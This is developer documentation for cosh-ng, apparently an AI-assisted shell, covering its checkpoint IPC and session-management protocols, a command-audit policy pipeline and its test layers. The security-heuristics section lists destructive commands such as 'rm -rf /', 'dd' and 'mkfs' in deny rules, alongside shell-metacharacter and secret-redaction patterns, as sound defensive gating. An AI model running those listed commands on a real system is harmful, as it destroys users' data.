`cosh-shell` does not link to the other workspace crates. It launches `cosh-core` and communicates over the versioned JSONL/control protocol. That process boundary is a compatibility contract, not an implementation detail. See [Architecture](architecture.md) for ownership and data flow. ## 3. Find the owner before editing For `cosh-shell`, new production behavior belongs under an existing owner directory; do not add implementation files directly under `src/`. | Change | Primary owner | Typical test target | |---|---|---| | PTY, OSC, bash/zsh integration | `shell_host/` | `shell_host` | | Input routing and multiline entry | `raw_input/`, `input/`, `slash/` | `raw_cli` or `logic` | | Agent lifecycle and event policy | `agent/` | `logic` | | Core adapter/control messages | `adapter/` | `protocol` | | Approval and question cards | `approval/`, `question/`, `ui/` | `raw_cli` | | Hooks | `hooks/` | library tests or `logic` | | Runtime orchestration/state mutation | `runtime/` | library tests, then relevant integration target | | Agent tools and risk rules | `tools/` | library tests and adversarial regressions | Run the layout audit after moving or adding shell code: ```bash crates/cosh-shell/scripts/check-layout.sh ``` ## 4. Use the narrowest feedback loop ```bash # Shared types/platform/CLI cargo test --locked -p cosh-types cargo test --locked -p cosh-platform cargo test --locked -p cosh-cli --test cli_integration # Core cargo test --locked -p cosh-core --lib cargo test --locked -p cosh-core --test jsonl_protocol # Shell: fast logic before process-heavy tests cargo test --locked -p cosh-shell --lib cargo test --locked -p cosh-shell --test logic cargo test --locked -p cosh-shell --test protocol ``` Choose `raw_cli` when the behavior spawns `cosh-shell`, renders cards, or crosses the provider handoff. Choose `shell_host` for PTY, OSC, termios, foreground programs, or native bash/zsh behavior. ## 5. Validate the final change Match validation to the change: - Documentation-only changes: check links, Markdown formatting, commands, and bilingual parity. Rust tests and builds are unnecessary. - Ordinary code changes: run formatting and the tests closest to the changed crate or behavior. Add targeted Clippy or integration checks when they can catch a relevant failure. - Large or cross-cutting code changes: run full local gates, persistent ECS, or manual-grade validation only when the current task explicitly requests that depth. Otherwise CI owns broad regression coverage. When public API or rustdoc changes, also run: ```bash cargo doc --workspace --no-deps ``` See [Testing](testing.md) for target selection and optional gate profiles. ## 6. Keep contracts explicit - Every `cosh-cli` result uses `CoshResponse` and a stable exit status. - Never reorder ws-ckpt protocol enum variants without coordinating the daemon. - A cosh-core protocol change must update protocol types, both producer and consumer, fixtures, and protocol tests together. - Security allow rules must tokenize first, reject shell metacharacters, and fail closed. Add tab, newline, and unspaced-metacharacter regressions. - Tests must not depend on a real LLM provider or mutate host system state. - Do not weaken assertions, inventory floors, or registered layout debt to make a check pass. ## Where to go next - [Testing strategy](testing.md) - [Adding a CLI command](adding-commands.md) - [Adding a distribution](adding-distros.md) - [IPC protocols](ipc-protocol.md) - [Security heuristics](security-heuristics.md) - [Component contribution rules](../../../../src/cosh-ng/CONTRIBUTING.md) ===== docs/developer-guide/en/cosh-ng/ipc-protocol.md ===== # ws-ckpt and Session Management IPC Protocols [中文版](../../zh/cosh-ng/ipc-protocol.md) ## Overview cosh-ng communicates with the ws-ckpt daemon via Unix Domain Socket to manage workspace snapshots. Communication uses a frame format of **bincode serialization + 4-byte little-endian length prefix**. ## Architecture ``` cosh-cli / cosh-core ws-ckpt daemon │ │ │ Unix socket │ │ /run/ws-ckpt/ws-ckpt.sock │ │─────────────────────────────→│ │ [4B LE len][bincode req] │ │ │ │←─────────────────────────────│ │ [4B LE len][bincode resp] │ ``` The client implementation is in `crates/cosh-platform/src/checkpoint.rs` (`CkptClient`), and type definitions are in `crates/cosh-types/src/checkpoint.rs`. ## Frame Format Each message consists of two parts: ``` ┌──────────────────┬───────────────────────────────┐ │ 4-byte LE u32 │ bincode-encoded enum payload │ │ (payload length) │ (WsCkptRequest / Response) │ └──────────────────┴───────────────────────────────┘ ``` - Length prefix: little-endian unsigned 32-bit integer representing the byte count of the subsequent bincode payload - Maximum response limit: 64 MiB (prevents OOM) - Default timeout: 5000ms (configurable via `CkptClient::with_timeout()`) ## Request Types (WsCkptRequest) bincode serializes enums by variant index (first variant = index 0). **Variant order is the binary contract and must not be reordered.** | Index | Variant | Description | |-------|---------|-------------| | 0 | `Init { workspace }` | Initialize a workspace | | 1 | `Checkpoint { workspace, id, message, metadata, pin }` | Create a snapshot | | 2 | `Rollback { workspace, to }` | Rollback to a specified snapshot | | 3 | `Delete { workspace, snapshot, force }` | Delete a snapshot | | 4 | `List { workspace, format }` | List snapshots | | 5 | `Diff { workspace, from, to }` | Diff between two snapshots | | 6 | `Status { workspace }` | Query status | | 7 | `Cleanup { workspace, keep }` | Clean up old snapshots | | 8 | `Config` | Get daemon configuration | | 9 | `ReloadConfig` | Reload configuration | | 10 | `Recover { workspace }` | Recover a workspace | | 11 | `HealthAdvisory` | Health check | ## Response Types (WsCkptResponse) | Variant | Corresponding Request | Key Fields | |---------|----------------------|------------| | `InitOk { ws_id }` | Init | Workspace ID | | `CheckpointOk { snapshot_id }` | Checkpoint | Snapshot ID | | `RollbackOk { from, to }` | Rollback | Rollback source and target | | `DeleteOk { target }` | Delete | Deleted snapshot identifier | | `Error { code, message }` | Any | Error code + human-readable description | | `ListOk { snapshots }` | List | `Vec` | | `DiffOk { changes }` | Diff | `Vec` | | `StatusOk { report }` | Status | `StatusReport` | | `CleanupOk { removed }` | Cleanup | List of removed snapshot IDs | | `ConfigOk { config }` | Config | `ConfigReport` | | `ReloadConfigOk` | ReloadConfig | No payload | | `CheckpointSkipped { reason }` | Checkpoint | Skip reason (e.g., no changes) | | `RecoverOk { workspace }` | Recover | Recovered workspace path | | `HealthAdvisoryOk { ... }` | HealthAdvisory | Over-limit workspace count, disk usage | ## Error Codes (WsCkptErrorCode) | Index | Variant | Description | |-------|---------|-------------| | 0 | `WorkspaceNotFound` | Workspace does not exist | | 1 | `SnapshotNotFound` | Snapshot does not exist | | 2 | `AlreadyInitialized` | Workspace already initialized | | 3 | `BtrfsError` | Btrfs operation error | | 4 | `IoError` | I/O error | | 5 | `InvalidPath` | Invalid path | | 6 | `ConfirmationRequired` | Confirmation needed (e.g., deleting a pinned snapshot) | | 7 | `InternalError` | Internal error | | 8 | `SnapshotAlreadyExists` | Snapshot ID conflict | | 9 | `WriteLockConflict` | Write lock conflict | | 10 | `DiskSpaceInsufficient` | Insufficient disk space | ## Client Usage ```rust use cosh_platform::checkpoint::CkptClient; // Default path /run/ws-ckpt/ws-ckpt.sock let client = CkptClient::default_path(); // Or specify path and timeout let client = CkptClient::with_timeout("/custom/path.sock", 10000); // Health check if !client.is_available() { eprintln!("ws-ckpt daemon not running"); } // Operation examples let result = client.create("/home/user/project", "snap-001", Some("initial"), None, false)?; let list = client.list(Some("/home/user/project"))?; let restored = client.restore("/home/user/project", "snap-001")?; ``` ## Key Constraints | Constraint | Description | |------------|-------------| | Variant order is immutable | bincode serializes enums by index; reordering breaks the wire format | | New additions append only | New Request/Response variants can only be added at the end | | Types must stay in sync | Definitions in `cosh-types` must exactly match `ws-ckpt-common` | | Timeout handling | Client sets read/write timeouts to avoid blocking when daemon is unresponsive | | Length limit | Responses exceeding 64 MiB are treated as anomalous; connection is dropped immediately | | Socket path | Default `/run/ws-ckpt/ws-ckpt.sock`; overridable via environment variable or CLI argument | ## Test Verification ```bash cd src/cosh-ng # bincode round-trip serialization tests cargo test --locked -p cosh-types -- checkpoint # Variant index contract tests cargo test --locked -p cosh-types test_request_bincode_variant_index # CkptClient unit tests (no running daemon required) cargo test --locked -p cosh-platform -- checkpoint ``` ## cosh-core Session Management JSON Protocol `cosh-core --session-control` is the stable internal boundary used by cosh-shell to discover, validate, and clear provider conversations. It handles one JSON request from standard input, writes one JSON response to standard output, and exits. This mode loads configuration and the scoped session store but does not initialize a provider, extensions, skills, hooks, or authentication. The caller must send the canonical workspace path it intends to manage. Core canonicalizes the path again, derives its workspace-scoped store, and validates every lowercase canonical UUID before constructing a session filename. Core also loads the project configuration from `/.copilot-shell/config.toml`; it never uses the management process's unrelated current directory for `session.auto_persist` or `session.persist_dir`. Standard input is capped at 1 MiB. Oversized input, invalid UTF-8, malformed JSON, and requests missing required fields return `invalid_request` without initializing storage. ### Request Actions Requests use an `action` discriminator: ```json {"action":"list","workspace_scope":"/work/project","limit":20,"cursor":null,"all_workspaces":false} {"action":"inspect","workspace_scope":"/work/project","session_id":"2d711642-b726-4b04-8d2a-8a0470f4ed24"} {"action":"validate","workspace_scope":"/work/project","session_id":"2d711642-b726-4b04-8d2a-8a0470f4ed24"} {"action":"prepare_clear_all","workspace_scope":"/work/project","protected_session_ids":[],"limit":4096,"cursor":null} {"action":"clear","workspace_scope":"/work/project","session_ids":["2d711642-b726-4b04-8d2a-8a0470f4ed24"],"protected_session_ids":[]} ``` | Action | Contract | |--------|----------| | `list` | Returns newest-first summaries. `limit` defaults to 20 and is clamped to 1–100; pass the opaque `next_cursor` to read the next page. When `all_workspaces` is `true`, the shell requests a larger initial page size of 100 to reduce incomplete output, but it is still clamped to the same 1–100 core limit. Core enumerates every workspace-hash directory under the storage root, returns sessions from all workspaces, and marks foreign sessions with `scope_mismatch`. `all_workspaces` defaults to `false` for backward compatibility. | | `inspect` | Returns a summary even when health prevents recovery. | | `validate` | Fully loads the envelope and succeeds only for a resumable session. | | `prepare_clear_all` | Returns a lexicographically paged clearable/protected ID plan without loading or transferring summaries. `limit` is clamped to 1–4096; continue with `next_cursor`. Omitting `limit` is accepted only when the complete plan fits one 4096-ID page, preventing older clients from silently accepting a partial plan. | | `clear` | Deletes each requested ID independently and returns per-item skipped errors. Each request accepts at most 128 IDs. | Summaries expose `session_id`, `workspace_scope`, creation and update times, model, message count, first prompt, schema version, and one of these health values: `ready`, `corrupt`, `incompatible`, or `scope_mismatch`. The first-prompt preview is normalized to one line and capped at 160 Unicode characters before serialization. Listing first orders UUID files by bounded filesystem metadata, then reads only the requested page instead of deserializing every history on every request. A session file is capped at 32 MiB for persistence, listing, validation, and resume; an oversized stored entry is reported as `corrupt` without allocating its contents. Listing skips an entry that disappears or cannot be read and continues scanning until the requested page is full or no candidates remain, so a filtered first candidate cannot hide healthy entries on the same page. Cursors encode the last newest-first filesystem sort key, so deleting that entry between page requests does not restart pagination. ### Response Envelope Successful data is tagged with the matching action: ```json { "ok": true, "data": { "action": "list", "sessions": [], "next_cursor": null } } ``` A request-level failure exits with status 1: ```json { "ok": false, "error": { "code": "not_found", "message": "session not found: 2d711642-b726-4b04-8d2a-8a0470f4ed24", "recoverable": true, "hint": "Refresh the session list and choose an existing entry." } } ``` Stable error codes are `invalid_id`, `invalid_cursor`, `invalid_request`, `not_found`, `io`, `corrupt`, `incompatible_version`, `scope_mismatch`, `conflict`, and `active_session`. They are recoverable for interactive callers. A `clear` request with per-item failures still returns `ok: true`; failed entries appear in `data.skipped` with their own typed errors. `protected_session_ids` is mandatory defense-in-depth for interactive deletion. cosh-shell sends both its selected and active provider IDs, and core refuses to delete either one even if it is also present in `session_ids`. Both `prepare_clear_all` and `clear` must include this field; an explicit empty array confirms that the caller has no protected identities, while omission rejects the complete request before any deletion. The shell drains bounded `prepare_clear_all` ID pages to show the exact plan before confirmation, then submits those IDs through 128-item `clear` batches; it does not drain every summary page. Core rejects oversized direct batches, and bounds per-item identifiers and error text by UTF-8 bytes. Core also checks the complete serialized envelope against a 1 MiB hard budget, so multi-byte input cannot bypass the client's response cap. Each summary independently bounds untrusted model metadata to 256 UTF-8 bytes and workspace metadata to 4096 UTF-8 bytes before page accumulation. A large but otherwise valid session file therefore cannot make `list`, `inspect`, or `validate` allocate an unbounded response or fall back to `invalid_request`. If a later `clear` batch fails, the shell preserves confirmed `deleted` and `skipped` results. The failed batch is reported as `unknown_session_ids`, and IDs not yet sent are reported as `unattempted_session_ids`; the UI must not collapse this state into a request-level error that hides earlier deletion. The shell gives each one-shot management operation a single ten-second deadline covering spawn, request-pipe writes, and response collection. Request writes use a nonblocking pipe and are retried by the deadline-aware lifecycle loop, so neither the leader nor a detached descendant can retain stdin and block a bulk `clear` writer indefinitely. A timeout or transport failure closes the request pipe, terminates the process group, escalates to forced termination, waits for the leader, and joins all output workers. Output workers use cancellable polling: after leader and process-group cleanup, they drain bytes that are already readable and stop even if a descendant that escaped the original process group still holds an inherited output descriptor. An ordinary poll timeout repeats the poll and never enters a blocking read, so a quiet leader cannot strand a reader before the lifecycle sets its stop flag. The client also caps the JSON response at 1 MiB and stderr diagnostics at 256 KiB. Crossing either limit closes the pipe and terminates and reaps the session-control process group. ### Persistence Compatibility Schema-v1 envelopes contain the immutable provider session UUID, canonical workspace, timestamps, model, optimistic generation, and model-visible messages. Writes use a same-directory temporary file, file and directory syncs, atomic rename, and a short-lived advisory lock. The kernel releases the lock when its process exits, so an unlocked lock file is reusable rather than treated as a conflict. A canonical workspace path must be valid UTF-8; Core returns `invalid_request` before deriving a scope or storage hash when it is not. Optimistic generations must advance monotonically, and a stored `u64::MAX` generation is rejected without replacing history. On Unix, scoped directories use mode `0700`; session, temporary, and lock files use `0600`. Legacy raw message arrays load as generation zero in memory. Core resolves symlinks in the storage root once, when the store is constructed, then securely opens or creates every scoped path component below that canonical root without following symlinks and pins the workspace-hash directory. Symlinked home or dotfile layouts therefore keep working while later symlink swaps below the root are refused. Scoped enumeration, session and lock opens, temporary-file creation, atomic rename, and removal are all relative to that descriptor; session and lock opens use `NOFOLLOW`. Replacing a workspace hash directory with another workspace's symlink therefore cannot redirect `load`, `persist`, `list`, or `clear`. Clearing a session also removes its paired lock file, and stale temporary files from crashed writers are swept when the directory is next opened for writing. An explicit legacy lookup by canonical UUID checks only a former flat directory whose ownership by the requested workspace can be established. With the new default root, that means the requested workspace's former relative `sessions/` directory. A custom root is eligible for legacy lookup only when its configured value is workspace-relative, contains no `..` component, already exists as a directory, and resolves through symlinks inside the canonical workspace. Core opens the canonical workspace one path component at a time without following symlinks, then pins each eligible legacy directory with an open descriptor. Legacy enumeration, session opens, and removal remain relative to that descriptor; session opens use `NOFOLLOW`. A concurrent rename-and-symlink replacement therefore cannot redirect load or clear outside the pinned workspace-owned directory. Absolute, `~/`, and parent-escaping roots do not participate in legacy lookup; they may name scoped storage, but scoped access rejects symlinks in every path component below the canonical storage root. Core never infers legacy ownership from directory-prefix containment and does not inspect the process cwd or an ambiguous shared flat root. Workspace-owned legacy sessions appear in `list` summaries beside scoped envelopes, so the picker, `prepare_clear_all`, and explicit `clear` observe the same population; ambiguous files outside an established workspace-owned directory are never claimed, listed, or rewritten by `inspect`, `validate`, or load. Explicit `clear` can remove even a corrupt legacy file while still honoring protected IDs. Migration locks the legacy source, atomically writes a schema-v1 envelope into the requested workspace scope, and then removes the old file. A legacy cleanup failure is reported as a typed persistence error and retried by later persists. When both copies exist, clear removes the legacy copy first, so a legacy permission failure can never delete the newer scoped history or resurrect stale content. The JSONL headless protocol and this management protocol share `SessionStore::load`; interactive selection cannot bypass the validation used by direct `cosh-core --resume`. A session-load failure is explicit on the JSONL result: ```json {"type":"result","is_error":true,"errors":["session recovery failed [not_found]: session not found"],"session_error_code":"not_found","session_error_phase":"load","session_id":"..."} ``` cosh-shell distinguishes selected recovery from automatic continuation of an active provider session. A Core session failure carries separate `session_error_code` and `session_error_phase` fields. A `load` failure with `not_found`, `corrupt`, `incompatible_version`, or `scope_mismatch`, or any typed `persist` failure, releases only the matching attempted identity. An owned selected attempt becomes `failed` while retaining the structured code, provider message, and phase-specific recovery hint; its previous active UUID remains available. Provider error text containing bracketed words cannot impersonate a session failure. The provider-reported ID must also match both selected and active resume attempts before Core identity is committed. Unrelated selected IDs remain selected. A one-turn `disable provider resume` hint omits `--resume` without consuming a pending user selection. The JSONL `system/init` message includes `session_resumable`. A value of `false` means `session.auto_persist` is disabled: consumers must not capture the reported UUID and must invalidate an identity only when that identity was actually carried by this invocation's `--resume`. A fresh one-turn fallback therefore cannot consume an unrelated selected ID or an older active ID. The rule also applies when the turn later fails, is cancelled, or exits abnormally. The field is optional for compatibility with providers that do not implement this extension; absence retains the existing session-ID capture behavior. The active ID, workspace, and invocation generation share one state lock. Every started turn receives a generation token, and success, failure, cancellation, non-resumable cleanup, and identity mismatch transitions commit only while that token still owns the latest attempt. A cancelled worker that finishes late therefore cannot clear or overwrite a newer turn, including a retry of the same selected ID. Structured session results are finalized before any subsequent transport failure is delivered. Replacing or rejecting a selection also advances the generation atomically. A fresh turn that does not carry `--resume` releases a superseded `restoring` owner back to `selected`, and cancellation applies any already parsed structured session failure before delivering `AgentCancelled`. Destructive session management holds the same state lease for the complete clear operation, while selection holds it across validation and commit. Clear and activation are therefore linearized rather than relying on a stale snapshot of protected IDs. ### Test Verification ```bash cd src/cosh-ng cargo test --package cosh-core cargo test --package cosh-shell --test protocol ``` ===== docs/developer-guide/en/cosh-ng/security-heuristics.md ===== # Security Heuristics [中文版](../../zh/cosh-ng/security-heuristics.md) ## Overview The cosh-ng audit subsystem implements a PEP→PDP→Log three-stage security decision pipeline. Each command undergoes structured parsing, policy matching, and logging before execution, resulting in one of three dispositions: Allow / Deny / RequireApproval. ## Architecture ``` Raw command string │ ▼ ┌─────────────────┐ │ action parser │ Rejects shell metacharacters, control bytes │ (PEP boundary) │ Structures into Action{subsystem,operation,target,args} └────────┬────────┘ │ Parse failure → immediate Deny ▼ ┌─────────────────┐ │ evaluate (PDP) │ Iterates policy.rules[], first match wins │ │ No match → policy.default └────────┬────────┘ │ ▼ ┌─────────────────┐ │ audit log │ Redacts then writes to JSONL log │ (redact + log) │ CallerInfo: session/user/uid/pid └─────────────────┘ ``` Code located in `crates/cosh-platform/src/audit/`. ## Command Parsing (action parser) Source file: `audit/action.rs` The parser rejects dangerous input before PDP: | Check | Rejection Condition | Reason | |-------|-------------------|--------| | Empty string | Empty after `trim()` | No valid operation | | Control bytes | Contains `\n` or `\r` | Prevents command injection | | Shell metacharacters | Contains any of `;|&><$\`(){}` | Prevents command chaining/redirection/subshell | On parse failure, callers should map to `Outcome::Deny` (never auto-allow). After successful parsing, structure is determined by the first token: - `pkg` / `svc` / `checkpoint` / `cosh` → Structured subsystem (operation=tokens[1], target=tokens[2]) - Others → Shell subsystem (operation=first token, target=second token, args=tokens[1..]) ## Policy System Source files: `audit/policy.rs`, `audit/builtin.rs` ### Policy Loading Priority 1. File specified by `$COSH_AUDIT_POLICY` environment variable 2. `~/.copilot-shell/cosh/audit.toml` (user-level) 3. `/etc/cosh/audit.toml` (system-level) 4. Built-in `balanced` preset (factory default) Only the first existing source is used; no cross-file merging. ### Built-in Presets | Preset | Default Outcome | Use Case | |--------|----------------|----------| | `permissive` | Allow | Sandbox / CI environments | | `balanced` | RequireApproval | Daily development (default) | | `strict` | Deny | Production / untrusted agents | ### Policy File Format (TOML) ```toml version = "v1" default = "RequireApproval" # Allow / Deny / RequireApproval [[rules]] name = "allow-readonly" matches.subsystem = "shell" matches.operation = { one_of = ["ls", "cat", "ps", "df", "echo", "uptime"] } outcome = "Allow" [[rules]] name = "deny-destructive" matches.subsystem = "shell" matches.operation = { one_of = ["rm", "sudo", "shutdown", "dd", "mkfs", "tee"] } outcome = "Deny" reason = "destructive command blocked by policy" ``` ### Match Syntax (StringMatch) | Form | Example | Description | |------|---------|-------------| | Exact match | `"install"` | String equality | | Enum match | `{ one_of = ["start", "restart", "stop"] }` | Any one matches | | Glob match | `{ glob = "-i*" }` | Supports `*` and `?` | Match block supports fields: `subsystem`, `operation`, `target`, `arg[].key`, `arg[].value` ## Decision Engine (evaluate) Source file: `audit/evaluate.rs` - Iterates `policy.rules[]`; the first matching rule determines the outcome - Falls back to `policy.default` when no rules match - Returns `Decision { outcome, reason, matched_rule, policy_version }` - `policy_version` includes source identifier + SHA256 hash for audit traceability ## Balanced Preset Core Rules ### Allow | Category | Example Commands | |----------|-----------------| | Read-only atomic commands | `uptime`, `ls -la`, `cat`, `ps aux`, `df -h`, `echo` | | Git read-only | `git status`, `git log`, `git diff`, `git show`, `git blame` | | Git branch viewing | `git branch`, `git branch -v` | | Git stash viewing | `git stash`, `git stash list`, `git stash show` | | Safe tool pairs | `systemctl status`, `apt list`, `dnf list`, `docker ps` | | pkg/svc read-only | `pkg search`, `pkg list`, `svc status`, `svc list` | | checkpoint read-only | `checkpoint list`, `checkpoint status` | ### Deny | Category | Example Commands | |----------|-----------------| | Destructive commands | `rm -rf /`, `sudo`, `shutdown`, `dd`, `mkfs`, `tee` | | Git mutations | `git push`, `git reset --hard`, `git clean`, `git rebase` | | Git branch mutations | `git branch -D`, `git branch -m`, `git branch --delete` | | Git stash mutations | `git stash drop`, `git stash clear`, `git stash pop/apply` | | sed in-place edits | `sed -i`, `sed --in-place` | | find destructive | `find . -delete`, `find . -fprint` | ### RequireApproval | Category | Example Commands | |----------|-----------------| | Package management writes | `pkg install`, `pkg remove` | | Service management writes | `svc start`, `svc restart` | | Checkpoint writes | `checkpoint create`, `checkpoint restore` | | Unknown commands | Commands not matching any allow/deny rule | ## Logging and Redaction Source files: `audit/log.rs`, `audit/redact.rs` ### Redaction Rules Automatic redaction before writing to log: | Detection Method | Trigger Condition | Replacement | |-----------------|-------------------|-------------| | Sensitive key | args key contains `password/secret/token/api_key/apikey` | `` | | PEM content | raw field contains PEM header like `BEGIN PRIVATE KEY` | `` | Redaction occurs at log-write time (not during PDP), ensuring PDP can make decisions based on original values. ### Log Entry Fields ```json { "timestamp": "2025-01-01T00:00:00Z", "session_id": "p1234-t1704067200", "user": "admin", "uid": 1000, "euid": 1000, "sudo_user": null, "pid": 1234, "action": { "subsystem": "pkg", "operation": "install", ... }, "decision": { "outcome": "RequireApproval", "reason": "...", ... }, "source": "Cli", "redacted": false } ``` Log path is overridable via `$COSH_AUDIT_LOG` environment variable (for testing). ## Public API | Function | Purpose | |----------|---------| | `audit::check(action, source, &loaded)` | Full PEP→PDP→Log pipeline | | `audit::classify(action, &loaded)` | PDP only, no logging (for TUI real-time classification) | | `audit::record_decision(action, &decision, source)` | Record an already-made decision (e.g., Deny from parse failure) | | `audit::evaluate(action, &loaded)` | Pure PDP function | | `parse_action_string(raw)` | Raw string → Action | | `LoadedPolicy::load()` | Load the active policy | ## Test Verification ```bash cd src/cosh-ng # Audit policy matching tests (balanced preset allow/deny/approve coverage) cargo test --locked -p cosh-platform -- audit # Action parser tests cargo test --locked -p cosh-platform -- action # Policy loading and validation tests cargo test --locked -p cosh-platform -- policy # Redaction tests cargo test --locked -p cosh-platform -- redact ``` ===== docs/developer-guide/en/cosh-ng/testing.md ===== # Testing cosh-ng [中文版](../../zh/cosh-ng/testing.md) cosh-ng uses layered deterministic tests. Start at the cheapest layer that can prove the behavior, then widen coverage in proportion to process, PTY, wire, or security risk. Do not use exact test counts as documentation; inventory floors change as the implementation grows. ## Fast feedback Run from `src/cosh-ng`: ```bash cargo test --locked -p cosh-types cargo test --locked -p cosh-platform cargo test --locked -p cosh-cli --test cli_integration cargo test --locked -p cosh-core --lib cargo test --locked -p cosh-shell --lib ``` Use a test-name filter while iterating: ```bash cargo test --locked -p cosh-core session_recovery cargo test --locked -p cosh-shell --test logic slash_registry ``` ## Shell integration layers | Target | Put a test here when it proves | Typical cost | |---|---|---| | `--lib` | Private pure logic or a lightweight component | Lowest | | `--test logic` | Public multi-module behavior without process transport | Low | | `--test protocol` | Adapter/control serialization and state transitions | Low to medium | | `--test raw_cli` | A spawned shell binary, cards, provider handoff, or scripted raw input | Medium | | `--test shell_host` | PTY, OSC, termios, native shell, or foreground-program behavior | Highest default layer | Examples: ```bash cargo test --locked -p cosh-shell --test logic cargo test --locked -p cosh-shell --test protocol -- --test-threads=4 cargo test --locked -p cosh-shell --test raw_cli -- --exact cargo test --locked -p cosh-shell --test shell_host -- --test-threads=4 ``` Do not put real-provider, visual, or manual-terminal checks into the default Cargo gate. Such validation must be explicitly requested and reported separately from deterministic behavior. ## Core integration targets Core tests are organized by contract rather than one monolithic suite: | Target | Contract | |---|---| | `jsonl_protocol` | Headless message and streaming behavior | | `registry_protocol` | Skills, extensions, auth, and registry actions | | `tool_approval` | Tool decision protocol | | `session_recovery` | Persisted conversation lifecycle | | `compaction_lifecycle` | Manual and automatic compaction | | `oauth_mcp` | MCP OAuth control flow | | `sls_integration` | Export integration with deterministic fixtures | | `sigint` | Process interruption behavior | Run the target closest to the change, then the complete core package when the change affects shared runtime state. ## Canonical gates The repository scripts avoid duplicate lib/bin executions and audit test/layout inventory: ```bash scripts/run-test-gates.sh fast # local iteration and focused handoff scripts/run-test-gates.sh integration # all process/protocol integration targets scripts/run-test-gates.sh all # canonical deterministic suite scripts/run-test-gates.sh heavy # selected ignored manual-grade cases ``` `scripts/check-test-inventory.sh` enforces regression floors and ignored-test ceilings. `scripts/check-test-necessity.sh` checks whether a change that needs a test has one. `crates/cosh-shell/scripts/check-layout.sh` audits source and test placement. Do not lower these baselines in a feature or fix merely to pass CI. ## Broader local gates For ordinary code changes, stop after the formatter and tests closest to the changed behavior. Run the complete local gate only for large or cross-cutting code changes when the task explicitly asks for that depth; otherwise CI owns broad regression coverage. ```bash cargo fmt --all -- --check cargo clippy --workspace --all-targets --locked -- -D warnings scripts/run-test-gates.sh all cargo build --workspace --release ``` Add `cargo doc --workspace --no-deps` when changing public API or rustdoc. Documentation-only changes need link, formatting, command, and bilingual parity checks rather than Rust tests. ## Test design rules - Use temporary directories and test-only path overrides; never depend on a developer's real home, config, keyring, or session store. - Mock providers and transports. A network credential is not a test fixture. - Verify the public boundary: JSON envelope, JSONL message, terminal output, filesystem permission, exit status, or protocol bytes. - For safety fixes, include the benign control case and the adversarial input that previously bypassed the gate. - Keep PTY timing bounded and wait on observable state instead of arbitrary sleeps. - Never remove assertions, ignore tests, or broaden timeouts without explaining the behavioral reason. The optional `e2e/run.py` runner validates installed launchers and real PTY paths under named profiles. It is a later system gate, not a substitute for the scoped Cargo tests above.